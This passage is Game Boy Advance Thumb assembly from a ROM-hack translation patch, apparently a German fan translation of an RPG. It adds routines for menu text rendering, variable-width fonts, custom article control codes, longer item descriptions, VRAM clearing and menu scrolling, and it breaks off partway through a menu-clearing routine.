str r5,[sp,#0]
str r6,[sp,#0x4]
ldr r0,=#.equip_now_text
mov r1,r8
mov r2,#0x87
//mov r3,#5
mov r3,#1
bl $8047CDC
// ----------------------------------------------
// Add Yes and No to the shitpile
mov r4,#1
neg r4,r4
mov r0,#0x3
bl $80486A0
str r5,[sp,#0]
str r6,[sp,#0x4]
mov r1,#0x44
mov r2,#0x93
mov r3,r4
bl $8047CDC
mov r0,#0x4
bl $80486A0
str r5,[sp,#0]
str r6,[sp,#0x4]
mov r1,#0x94
mov r2,#0x93
mov r3,r4
bl $8047CDC
// ----------------------------------------------
.equip_text_end:
add sp,#0x8
pop {r3}
mov r8,r3
pop {r4-r6}
pop {r0}
bx r0
.equip_now_text:
dw $001F
//dw $0040,$004E,$004F,$0057,$001F
//=============================================================================================
// This hack fixes the string used when you are asked to sell a currently equipped item after
// buying new equipment.
//=============================================================================================
//print pc
.sell_old_equip_text:
push {r4-r7,lr}
mov r7,r9
mov r6,r8
push {r6,r7}
add sp,#-0x8
// ----------------------------------------------
// Get the address of "Sell your "
mov r0,#0x7F
bl $80486A0
mov r4,r0
// ----------------------------------------------
// Add it to the shitpile
mov r5,#0xF
str r5,[sp,#0]
mov r6,#0x1
str r6,[sp,#0x4]
mov r1,#0x26
mov r8,r1
mov r2,#0x87
mov r3,#1
neg r3,r3
bl $8047CDC
// ----------------------------------------------
// Get the width of "Sell your "
mov r0,r4
bl get_string_width
add r8,r0
// ----------------------------------------------
// Get the item ID, do the mystery function
ldr r7,=#0x201A1FD
ldrb r0,[r7,#0]
mov r1,#0xC
mov r2,#0x86
bl $8046974
// ----------------------------------------------
// Get the item address
ldrb r1,[r7,#0]
mov r0,#0x2
bl $8001C5C
// ----------------------------------------------
// Add the item to the shitpile
mov r4,r0
str r5,[sp,#0]
str r6,[sp,#0x4]
mov r1,r8
mov r2,#0x87
mov r3,#0x16
bl $8047CDC
// ----------------------------------------------
// Get the item width
mov r0,r4
bl get_string_width
add r8,r0
// ----------------------------------------------
// Do some extra crap; don't touch
ldr r2,=#0x80E5108
ldrb r1,[r7,#0]
mov r0,#0x6C
mul r0,r1
add r0,r0,r2
ldrh r1,[r0,#0xA]
ldr r0,=#0x201A518
strh r1,[r0,#0]
// ----------------------------------------------
// Get the address of "-- [DPAMT] DP"
mov r0,#0x7E
bl $80486A0
// ----------------------------------------------
// Add the DP text to the shitpile
mov r1,r8
mov r2,#0x87
bl $8047F28 // alternate shitpiler
// ----------------------------------------------
// Get the width of the parsed DP text
ldr r0,=#0x203FFFC
ldr r0,[r0,#0]
bl get_string_width
add r8,r0
// ----------------------------------------------
// Add Yes and No to the shitpile
mov r0,#0x3
bl $80486A0
mov r4,#1
neg r4,r4
str r5,[sp,#0]
str r6,[sp,#0x4]
mov r1,#0x44
mov r2,#0x93
mov r3,r4
bl $8047CDC
mov r0,#0x4
bl $80486A0
str r5,[sp,#0]
str r6,[sp,#0x4]
mov r1,#0x94
mov r2,#0x93
mov r3,r4
bl $8047CDC
// ----------------------------------------------
add sp,#0x8
pop {r3,r4}
mov r8,r3
mov r9,r4
pop {r4-r7}
pop {r0}
bx r0
//=============================================================================================
// This hack steps into the menu text parser and stores the parsed address to 203FFFC.
//=============================================================================================
.parser_stepin:
ldr r0,=#0x203FFF8
str r6,[r0,#0] // Original address
str r5,[r0,#4] // Parsed address
lsl r4,r4,#2
add r4,r9
bx lr
// This sets the parsed flag for use with 8047CDC
.parser_stepin2:
ldr r4,=#0x203FFF7
mov r5,#1
strb r5,[r4,#0]
mov r5,r0
mov r4,r1 // clobbered code
bx lr
// This adds the real address to the table at 203FFA0
.parser_stepin3:
push {r0,r2,r3}
// r0 = counter
// ----------------------------------------------
// Get the target address ready; addr = 203FFA0 + (counter * 4)
ldr r1,=#0x203FFA0
lsl r0,r0,#2
add r1,r1,r0
// ----------------------------------------------
// Check the parsed flag
ldr r2,=#0x203FFF7
ldrb r0,[r2,#0]
mov r3,#0
strb r3,[r2,#0]
cmp r0,#0
bne +
// Use the address in r5
str r5,[r1,#0]
b .parser_stepin3_end
+
// Use the original address from 203FFF8
add r2,#1
ldr r0,[r2,#0]
// ----------------------------------------------
// Store it to the table
str r0,[r1,#0]
.parser_stepin3_end:
pop {r0,r2,r3}
mov r1,r0
lsl r0,r1,#2 // clobbered code
bx lr
//=============================================================================================
// This hack applies a VWF to item text and other non-sprite text in the main menus.
//=============================================================================================
.item_vwf:
push {r2,r6,lr}
ldr r6,[r6,#0]
lsl r6,r6,#0x14
lsr r0,r6,#0x14 // r0 has the letter now
ldr r2,=#{main_font_width} // r2 now points to the start of 16x16 font's width table
ldrb r0,[r2,r0] // load r0 with the appropriate width
pop {r2,r6,pc}
//=============================================================================================
// This hack makes Chapter End (and other stuff?) appear nicely on the file select screens
//=============================================================================================
.chap_end_text:
push {lr}
cmp r1,#0xCA
bne +
sub r0,r0,#2
+
lsl r0,r0,#0x10
add r3,r6,r0
asr r3,r3,#0x10
pop {pc}
//=============================================================================================
// This hack manually clears the tile layer with non-sprite text on it, since the game
// doesn't seem to want to do it itself all the time. We're basically shoving a bunch of 0s
// into the tilemap.
//
//
// Note that this is buggy so it's not being used now. Fix it later maybe?
//=============================================================================================
.clear_non_sprite_text:
push {lr}
cmp r4,#0
bne +
bl .delete_vram
+
mov r0,r5 // clobbered code
mov r1,r6
pop {pc}
//=============================================================================================
// This hack implements a VWF for the battle memory non-sprite text.
//=============================================================================================
.battle_mem_vwf:
push {r5,lr} // We're going to use r5, so we need to keep it in
ldr r5,[sp,#0x08] // Load r5 with our former LR value?
mov r14,r5 // Move the former LR value back into LR
ldr r5,=#0x804999B // This is different from the other functions. At the old code from the branch,
// there is an unconditional branch after mov r0,#8 to this address.
// This is where we want to return to.
str r5,[sp,#0x08] // Store it over the previous one
pop {r5} // Get back r5
add sp,#0x04 // Get the un-needed value off the stack
ldr r0,=#{main_font_width} // load r0 with the address of our 16x16 font width table (FIX : that was 8x8)
ldrb r0,[r0,r1]
pop {pc}
//=============================================================================================
// This hack will make the game load alternate text than the game would normally expect.
// This affects:
// - Short enemy names in the Battle Memory screen
// - Short enemy names used in gray name boxes outside
// - Fixed item descriptions in battle, with descs that would normally use status icons
// - Sleep mode message, which had to be done using prewelded text
//=============================================================================================
.load_alternate_text:
push {r5,lr} // We're going to use r5, so we need to keep it in
ldr r5,[sp,#0x08] // Load r5 with our former LR value?
mov lr,r5 // Move the former LR value back into LR
ldr r5,[sp,#0x04] // Grab the LR value for THIS function
str r5,[sp,#0x08] // Store it over the previous one
pop {r5} // Get back r5
add sp,#0x04 // Get the un-needed value off the stack
push {r5-r6} // need to use these registers real quick
cmp r2,#0x07 // if r2 == 7, then we're dealing with enemy names
beq .short_enemy_name
cmp r2,#0x00 // in battle, status icons don't get displayed
beq .status_icon_text // so we prepare alternate text
cmp r1,#0x25 // we have to do some magic to make the sleep mode message work
beq .sleepmode_text
b .orig_load_code // so let's just jump to the original code for non-enemy names
//---------------------------------------------------------------------------------------------
.short_enemy_name:
ldr r5,=#0x80476FB // load r5 with 0x80476FB, which we'll use to compare the calling address from
ldr r6,[sp,#0x1C] // load in the calling address
cmp r5,r6 // if equal, this is for the battle memory menu
beq +
//Load r5 with the scrolling printing routine for the battle memory
ldr r5,=#.new_battle_memo_scroll_print_after_function+1
cmp r5,r6
beq + // if equal, this is for the battle memory menu
ldr r5,=#0x8023B1F // load r5 with 0x8023B1F, which is used for the gray name boxes
cmp r5,r6
bne .orig_load_code // if not equal, jump to the original code
+
ldr r0,=#0x8D23494 // load the base address of the abbreviated names list
b .end_load_code
//---------------------------------------------------------------------------------------------
.status_icon_text:
ldr r5,=#0x8064B89 // see if this is being loaded from battle, if not, do normal code
ldr r6,[sp,#0x18]
cmp r5,r6
bne .orig_load_code
cmp r4,#0x8B // if item # < 0x8B or item # > 0x92, use normal code and desc text
blt .orig_load_code
cmp r4,#0x92
bgt .orig_load_code
ldr r0,=#0x9F8F004 // else use special item descriptions just for this instance
cmp r1,#4
bne +
ldr r0,=#0x9F8F204
+
b .end_load_code
//---------------------------------------------------------------------------------------------
.sleepmode_text:
ldr r5,=#0x9AF3790 // just making extra sure we won't trigger this fix on accident
cmp r0,r5 // see if r0 directs to the menus3 block
bne .orig_load_code // if it doesn't, skip all this and do the original code
ldr r5,=#0x9FB0300 // start of custom sleep mode text/data
cmp r6,#0x1F // if this is the first sleep mode line, redirect pointer
bne + // if this isn't the first sleep mode line, see if it's the 2nd
mov r0,r5
add r0,#2 // r0 now has the address of the first line of custom SM text
b .special_end_load
+
cmp r6,#0x20 // see if this is the 2nd line of sleep mode text
bne .orig_load_code // if it isn't, we continue the original load routine as usual
ldrh r0,[r5,#0] // load the offset to the 2nd line
add r0,r5,r0 // r0 now has the address to the 2nd line
b .special_end_load
//---------------------------------------------------------------------------------------------
.orig_load_code:
lsl r1,r1,#0x10 // when this whole routine ends, it will go back to 80028A4
lsr r1,r1,#0x0E
add r1,r1,r0
ldr r1,[r1,#0x04]
add r0,r0,r1
.end_load_code:
pop {r5-r6,pc} // Pop the registers we used off the stack, and return
//---------------------------------------------------------------------------------------------
.special_end_load:
mov r5,lr // we need to do some return address magic if we're doing
add r5,#8 // the sleep mode text fix
mov lr,r5
pop {r5-r6,pc}
//=============================================================================================
// These three little hacks move item descriptions in RAM and allow for up to 256 letters,
// though there wouldn't be enough room in the box for that of course :P
//=============================================================================================
.load_desc_address1:
ldr r0,=#0x2014330
mov r2,r8
bx lr
//---------------------------------------------------------------------------------------------
.load_desc_address2:
mov r0,r4
ldr r1,=#0x2014330
bx lr
//---------------------------------------------------------------------------------------------
.load_desc_clear_length:
ldr r1,=#0x1F8
mov r2,r8
bx lr
//=============================================================================================
// These six hacks allow for longer messages in main menus. The max is somewhere around 200
// letters.
//=============================================================================================
.save_menu_msg_address:
add r5,#2
ldr r0,=#0x2014310
str r5,[r0,#0]
pop {r4-r7}
pop {r0}
bx lr
//---------------------------------------------------------------------------------------------
.load_menu_msg_address:
ldr r0,=#0x2014310
ldr r5,[r0,#0]
bx lr
//---------------------------------------------------------------------------------------------
.init_menu_msg_address:
ldr r0,=#0x201A374
ldr r7,=#0x2014310
str r0,[r7,#0]
mov r7,#0
mov r0,#1
bx lr
//---------------------------------------------------------------------------------------------
.change_menu_msg_address1:
push {r2,lr}
ldr r0,=#0xFFFFFFFF
ldr r1,=#0x2014330
ldr r2,=#0x100
bl fill_mem
mov r0,r6
pop {r2,pc}
//---------------------------------------------------------------------------------------------
.change_menu_msg_address2:
mov r0,r5
ldr r1,=#0x2014330
bx lr
//---------------------------------------------------------------------------------------------
.change_menu_msg_clear_amt:
ldr r1,=#0x201A510
sub r1,r1,r5
mov r2,r8
bx lr
//=============================================================================================
// This hack processes our custom control codes. Since we don't need to bother with enemy
// stuff here, only custom item control codes need to be handled here.
//
// The custom item control codes are [10 EF] through [17 EF].
//
// [10 EF] - Prints the proper article if it's the first word of a sentence (ie "Ein/Eine")
// [11 EF] - Prints the proper article if it's not the first word of a sentence (ie "ein/eine")
// [12 EF] - Prints an uppercase definite article ("Der", etc.)
// [13 EF] - Prints a lowercase definite article ("der", etc.)
// [14 EF] - Prints genetive article depending on the item
// [15 EF] - Prints genetive suffix depending on the item
// [16 EF] - Prints it/them depending on the item CURRENTLY UNUSED
// [17 EF] - Prints ist/sind depending on the item
//
// [20 EF] - Prints string fragments about the type of equipment the current item is
//
//=============================================================================================
.execute_custom_cc:
push {r0-r3,lr}
ldrb r0,[r4,#1] // load the high byte of the current letter
cmp r0,#0xEF // if it isn't 0xEF, do normal stuff and then leave
beq +
ldrh r0,[r4,#0] // load the correct letter again
strh r0,[r5,#0] // store the letter
add r4,#2 // increment the read address
add r5,#2 // increment the write address
b .ecc_end // leave this subroutine
//---------------------------------------------------------------------------------------------
+
ldrb r0,[r4,#0] // load the low byte of the current letter, this is our argument
cmp r0,#0x20 // if this is EF20, go do that code elsewhere
beq +
mov r2,#0x10
sub r2,r0,r2 // r2 = argument - #0x10, this will make it easier to work with
ldr r0,=#0x201A1FD // this gets the current item #
ldrb r0,[r0,#0]
lsl r0,r0,#3 // r0 = item num * 8
ldr r1,=#{item_extras_address} // this is the base address of our extra item data table in ROM
add r0,r0,r1 // r0 now has the address of the correct item table
ldrb r0,[r0,r2] // r0 now has the proper article entry #
mov r1,#40
mul r0,r1 // calculate the offset into custom_text.bin
ldr r1,=#{custom_text_address} // load r1 with the base address of our custom text array in ROM
add r0,r0,r1 // r0 now has the address of the string we want
mov r1,r5 // r1 now has the address to write to
bl custom_strcopy // r0 returns with the # of bytes copied
add r5,r5,r0 // update the write address
add r4,#2 // increment the read address
b .ecc_end
//---------------------------------------------------------------------------------------------
+ // all this code here prints the proper "is equipment" message
ldr r0,=#0x201A1FD // this gets the current item #
ldrb r0,[r0,#0]
ldr r1,=#0x80E510C // start of item data blocks + item_type address
mov r2,#0x6C // size of each item data block
mul r0,r2 // item_num * 6C
add r0,r0,r1 // stored at this address is the current item's type
ldrb r0,[r0,#0] // load the item type
add r0,#4 // add 4 -- starting on line 4 of custom_extras.txt are the strings we want
mov r1,#40
mul r0,r1
ldr r1,=#{custom_text_address} // this is the base address of our custom text array
add r0,r0,r1 // r0 now has the correct address
mov r1,r5
bl custom_strcopy // r0 returns the # of bytes copied
add r5,r5,r0 // update the write address
add r4,#2 // increment the read address
//---------------------------------------------------------------------------------------------
.ecc_end:
pop {r0-r3,pc}
//=============================================================================================
// This hack fixes the main menu string length counting routine so that character names
// don't wind up with extra long names. If the counting routine thought a name was > 8,
// manually make the length = 8.
//=============================================================================================
.counter_fix1:
push {lr}
//mov r5,#8 // r5 will be the new value to change to if need be
ldr r0,[sp,#8] // load r0 with the base address of the string we just counted
bl check_name // check if the name is custom
cmp r0,#0
beq +
cmp r3,r0 // is the length > r5 (normally 8)?
ble + // if not, continue as normal, else manually make it = r5 (normally 8)
mov r3,r0
+
mov r0,r3 // clobbered code
pop {r4}
mov lr,r4
pop {r4,r5}
bx lr
//=============================================================================================
// This hack fixes the rare case of the menu message "Fav. Food - XXX has XXX of this item."
// The game always assumes the fav. food's max length is 22, because that's the length of
// normal items.
//=============================================================================================
.counter_fix2:
ldr r2,=#0x2004F02 // load the address of where the fav. food string is stored
cmp r4,r2 // if we're working with the fav. food address, alter the max length
bne +
mov r0,#9 // 9 is the max length for fav. food
+
lsl r0,r0,#0x10 // clobbered code
lsr r2,r0,#0x10
bx lr
//=============================================================================================
// This hack deletes the content of VRAM that is being shown
//=============================================================================================
.delete_vram:
push {r0-r2,lr}
mov r0,#0
push {r0}
mov r0,sp
ldr r1,=#0x600E800
ldr r2,=#0x01000140 // (0x500 => 160 pixels, the GBA screen's height, 24th bit is 1 to fill instead of copying)
swi #0x0C // clear old data out
pop {r0}
pop {r0-r2,pc}
//=============================================================================================
// This hack deletes the content of text's OAM VRAM that can be used
//=============================================================================================
.delete_oam_vram:
push {r0-r2,lr}
mov r0,#0
push {r0}
mov r0,sp
ldr r1,=#0x06010000
ldr r2,=#0x01000C00 // (0x3000 => The full OAM we use for text)
swi #0x0C // clear old data out
pop {r0}
pop {r0-r2,pc}
//=============================================================================================
// This hack deletes the content of a subsection of text's OAM VRAM that can be used
//=============================================================================================
//These 2 values must reflect {new_pos_base_alternative2}!!!
define delete_oam_vram_subsection_target_addr $6012000
define delete_oam_vram_subsection_zone_size ($6013000-$6012000)/$4
.delete_oam_vram_subsection:
push {r0-r3,lr}
mov r0,#0
push {r0}
mov r0,sp
ldr r1,=#{delete_oam_vram_subsection_target_addr}
ldr r2,=#{delete_oam_vram_subsection_zone_size}
mov r3,#1
lsl r3,r3,#0x18
orr r2,r3 // (0x1000 => The rest of the OAM)
swi #0x0C // clear old data out
pop {r0}
pop {r0-r3,pc}
//=============================================================================================
// This hack deletes the content of VRAM in equip when the data shouldn't be shown. Optimized.
//=============================================================================================
.delete_vram_equip:
push {r1-r7,lr}
bl $805504C // Get if the character's data can be shown
lsl r0,r0,#0x10
cmp r0,#0 // If it can be shown, jump to the end
beq +
push {r0}
// Setup
ldr r6,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying)
ldr r7,=#0x600E9A0
mov r4,#0x40
lsl r5,r4,#2
mov r0,#0
push {r0}
//Actual clearing
//Weapon
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0C // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0C // clear old data out
add r7,r7,r5 // Next section
//Body
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0C // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0C // clear old data out
add r7,r7,r5 // Next section
//Head
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0C // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0C // clear old data out
add r7,r7,r5 // Next section
//Other
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0C // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0C // clear old data out
pop {r0} // Ending
pop {r0}
+
pop {r1-r7,pc}
//=============================================================================================
// This hack deletes the content of VRAM in status when the data shouldn't be shown. Optimized.
//=============================================================================================
.delete_vram_status:
push {r1-r7,lr}
bl $805504C // Get if the character's data can be shown
lsl r0,r0,#0x10
cmp r0,#0 // If it can be shown, jump to the end
beq +
push {r0}
// Setup
ldr r6,=#0x0100000E // (0x1C bytes of arrangements, 24th bit is 1 to fill instead of copying)
ldr r7,=#0x600EAA4
mov r4,#0x40
lsl r5,r4,#1
mov r0,#0
push {r0}
//Actual clearing
//Weapon
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0B // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0B // clear old data out
add r7,r7,r5 // Next section
//Body
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0B // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0B // clear old data out
add r7,r7,r5 // Next section
//Head
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0B // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0B // clear old data out
add r7,r7,r5 // Next section
//Other
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0B // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0B // clear old data out
add r7,r7,r5 // Next section
//Skill
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0B // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0B // clear old data out
pop {r0} // Ending
pop {r0}
+
pop {r1-r7,pc}
//=============================================================================================
// This hack deletes the content of VRAM that is being shown when going from the inventory to the battle memory
// It also clears OAM's text VRAM.
//=============================================================================================
.delete_vram_inv_to_battle_memory:
push {lr}
bl .delete_vram
bl .delete_oam_vram
bl $800399C // Clobbered code
pop {pc}
//=============================================================================================
// This hack deletes the content of VRAM that is being shown when going from the battle memory to the inventory
// It also clears OAM's text VRAM.
//=============================================================================================
.delete_vram_battle_memory_to_inv:
push {lr}
bl .delete_vram
bl .delete_oam_vram
bl $804BE64 // Clobbered code
pop {pc}
//=============================================================================================
// This hack puts an alternate menu text palette for certain menus. Used for optimizing
//=============================================================================================
.add_extra_menu_palette:
push {lr}
bl $800160C //Normal expected code
ldr r0,=#0x2004100
ldrb r0,[r0,#0]
cmp r0,#2 // Is this the PSI menu?
beq +
cmp r0,#5 // Or the shop's menu?
bne .add_extra_menu_palette_end
+
mov r0,r4 // If it is, load an extra palette as the 8th one
ldr r1,=#{alternate_menu_text_palette}
mov r2,#0x08
mov r3,#0x20
bl $800160C
.add_extra_menu_palette_end:
pop {pc}
//=============================================================================================
// This hack changes how up/down scrolling in menus works - Based off of 0x8046D90, which is basic menu printing
//=============================================================================================
.new_print_menu_offset_table:
dd .new_main_inventory_scroll_print+1; dd .new_equip_print+1; dd .new_psi_scroll_print+1; dd .new_status_print+1
dd .new_skills_scroll_print+1; dd .new_memoes_scroll_print+1; dd .new_default_scroll_print+1; dd .new_battle_memo_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_shop_scroll_print+1; dd .new_shop_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_withdrawing_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
.new_print_menu_offset_table_special:
dd .new_equip_submenu_scroll_print+1; dd .new_equip_submenu_scroll_print+1; dd .new_equip_submenu_scroll_print+1; dd .new_equip_submenu_scroll_print+1
.new_print_menu_addition_value_table:
dw $41EC; dw $41F4; dw $41EC; dw $41EC; dw $41EC; dw $41FC; dw $41EC; dw $41FC;
dw $41EC; dw $41EC; dw $4204; dw $4204; dw $41EC; dw $41EC; dw $41EC; dw $41EC;
dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC;
dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC;
.new_print_menu_up_down:
push {r4,lr}
ldr r3,=#0x2016028 // Base code
ldr r0,=#0x44F2
add r2,r3,r0
ldrb r1,[r2,#0]
lsl r0,r1,#0x1C
cmp r0,#0
bge +
b .end_new_print_menu_up_down
+
mov r0,#8
orr r0,r1
strb r0,[r2,#0]
ldr r1,=#0x4260
add r0,r3,r1 //Get the type of menu this is
ldrb r0,[r0,#0]
cmp r0,#0x10
bhi +
ldr r2,=#.new_print_menu_addition_value_table
lsl r0,r0,#1
ldsh r2,[r2,r0]
ldr r0,=#0x2016078
add r1,r0,r2
mov r2,#1
mov r3,#0
bl .new_clear_menu //New code!!!
+
bl $8049D5C //Back to base code
ldr r3,=#0x2016028
ldr r1,=#0x41C6
add r0,r3,r1
ldrb r1,[r0,#0]
mov r0,#1
and r0,r1
cmp r0,#0
beq +
ldr r2,=#0x41BC
add r1,r3,r2
ldrh r0,[r1,#0]
cmp r0,#3
bhi .end_new_print_menu_up_down
ldrh r1,[r1,#0]
lsl r1,r1,#2
ldr r0,=#.new_print_menu_offset_table_special
add r1,r1,r0
ldrh r0,[r1,#0]
ldrh r1,[r1,#2]
lsl r1,r1,#0x10
orr r1,r0
ldr r4,=#0x3060
add r0,r3,r4
bl $8091938
b .end_new_print_menu_up_down
+
ldr r0,=#0x4260
add r2,r3,r0
ldrb r0,[r2,#0]
cmp r0,#0x12
bhi .end_new_print_menu_up_down
lsl r0,r0,#5
mov r4,#0xB8
lsl r4,r4,#6
add r1,r3,r4
add r0,r0,r1
ldr r1,=#0x201A288
ldrb r1,[r1,#0]
lsl r1,r1,#2
ldr r2,=#.new_print_menu_offset_table
add r1,r2,r1
ldrh r2,[r1,#2]
lsl r2,r2,#0x10
ldrh r1,[r1,#0]
add r1,r1,r2
bl $8091938 // New code!
.end_new_print_menu_up_down:
pop {r4,pc}
//=============================================================================================
// This hack changes how a removal in menus works - Based off of 0x8046D90, which is basic menu printing
// Same code as above except for the points in which it's present the comment DIFFERENT!!!
//=============================================================================================
.new_print_menu_a_offset_table:
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_shop_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_withdrawing_a_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
.new_print_menu_a:
push {r4,lr}
ldr r3,=#0x2016028 // Base code
ldr r0,=#0x44F2
add r2,r3,r0
ldrb r1,[r2,#0]
lsl r0,r1,#0x1C
cmp r0,#0
bge +
b .end_new_print_menu_a
+
mov r0,#8
orr r0,r1
strb r0,[r2,#0]
ldr r1,=#0x4260
add r0,r3,r1 //Get the type of menu this is
ldrb r0,[r0,#0]
cmp r0,#0x10
bhi +
ldr r2,=#.new_print_menu_addition_value_table
lsl r0,r0,#1
ldsh r2,[r2,r0]
ldr r0,=#0x2016078
add r1,r0,r2
mov r2,#1
mov r3,#0
bl .new_clear_menu_a //DIFFERENT!!!
+
bl $8049D5C //Back to base code
ldr r3,=#0x2016028
ldr r1,=#0x41C6
add r0,r3,r1
ldrb r1,[r0,#0]
mov r0,#1
and r0,r1
cmp r0,#0
beq +
ldr r2,=#0x41BC
add r1,r3,r2
ldrh r0,[r1,#0]
cmp r0,#3
bhi .end_new_print_menu_a
ldr r0,=#0x9B8FD74
ldrh r1,[r1,#0]
lsl r1,r1,#2
add r1,r1,r0
ldr r4,=#0x3060
add r0,r3,r4
ldr r1,[r1,#0]
bl $8091938
b .end_new_print_menu_a
+
ldr r0,=#0x4260
add r2,r3,r0
ldrb r0,[r2,#0]
cmp r0,#0x12
bhi .end_new_print_menu_a
lsl r0,r0,#5
mov r4,#0xB8
lsl r4,r4,#6
add r1,r3,r4
add r0,r0,r1
ldr r1,=#0x201A288
ldrb r1,[r1,#0]
lsl r1,r1,#2 //DIFFERENT!!!
ldr r2,=#.new_print_menu_a_offset_table
add r1,r2,r1
ldrh r2,[r1,#2]
lsl r2,r2,#0x10
ldrh r1,[r1,#0]
add r1,r1,r2
bl $8091938 // New code!
.end_new_print_menu_a:
pop {r4,pc}
//=============================================================================================
// This hack changes how menu clearing works, based off of 0x80012BC
//=============================================================================================
.new_swap_arrangement_routine_table:
dd .new_clear_inventory+1; dd .new_clear_equipment+1; dd .new_clear_inventory+1; dd .new_clear_status+1
dd .new_clear_inventory+1; dd .new_clear_memoes+1; dd .new_clear_inventory+1; dd .new_clear_battle_memo+1
dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_shop+1; dd .new_clear_shop+1
dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1
dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1
dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1
dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1
dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1
.new_swap_arrangement_routine_special_table:
dd .new_clear_equip_submenu+1; dd .new_clear_equip_submenu+1; dd .new_clear_equip_submenu+1; dd .new_clear_equip_submenu+1
.new_clear_menu:
push {r4-r7,lr}
mov r7,r8 //base code
push {r7}
add sp,#-0xC
mov r8,r0
mov r5,r1
lsl r2,r2,#0x10
lsr r7,r2,#0x10
mov r0,sp
strh r3,[r0,#0]
cmp r5,#0
beq .new_clear_menu_next_spot
mov r1,#0
ldsh r0,[r5,r1]
cmp r0,#0
bge +
add r0,#7
+
lsl r0,r0,#0xD
lsr r0,r0,#0x10
ldr r2,=#0xFFFF0000
ldr r1,[sp,#4]
and r1,r2
orr r1,r0
str r1,[sp,#4]
mov r1,#2
ldsh r0,[r5,r1]
cmp r0,#0
bge +
add r0,#7
+
asr r0,r0,#3
add r4,sp,#4
strh r0,[r4,#2]
ldrh r0,[r5,#4]
lsr r0,r0,#3
strh r0,[r4,#4]
ldrh r0,[r5,#6]
lsr r0,r0,#3
strh r0,[r4,#6]
ldrh r2,[r4,#0]
ldrh r3,[r4,#2]
mov r0,r8
mov r1,r7
bl $8001378
mov r5,r0
mov r6,#0
ldrh r0,[r4,#6]
cmp r6,r0
bcs +
//New code!
ldr r0,=#0x201A1EE //If this is an equip submenu, load the special table
ldrb r0,[r0,#0]
mov r1,#1
and r0,r1
cmp r0,#0
beq .new_clear_menu_normal_menu
ldr r0,=#0x201A1E4
ldrb r0,[r0,#0]
cmp r0,#3
bhi +
lsl r0,r0,#2
ldr r1,=#.new_swap_arrangement_routine_special_table
b .new_clear_menu_load_address
.new_clear_menu_normal_menu:
ldr r0,=#0x201A288 //This is a normal menu
ldrb r0,[r0,#0]
lsl r0,r0,#2
ldr r1,=#.new_swap_arrangement_routine_table
.new_clear_menu_load_address:
add r1,r1,r0
ldrh r0,[r1,#0]
ldrh r1,[r1,#2]
lsl r1,r1,#0x10
add r1,r1,r0
bl $8091938
b +
.new_clear_menu_next_spot: //Back to base code
mov r0,r8
mov r1,r7
mov r2,#0
mov r3,#0
bl $8001378
mov r5,r0
mov r1,#0x80
lsl r1,r1,#4
bl $80019DC
+
.new_clear_menu_general:
mov r0,sp
ldrh r0,[r0,#0]
cmp r0,#0
beq +
lsl r1,r7,#1
mov r0,#0xB1
lsl r0,r0,#6
add r0,r8
add r0,r0,r1
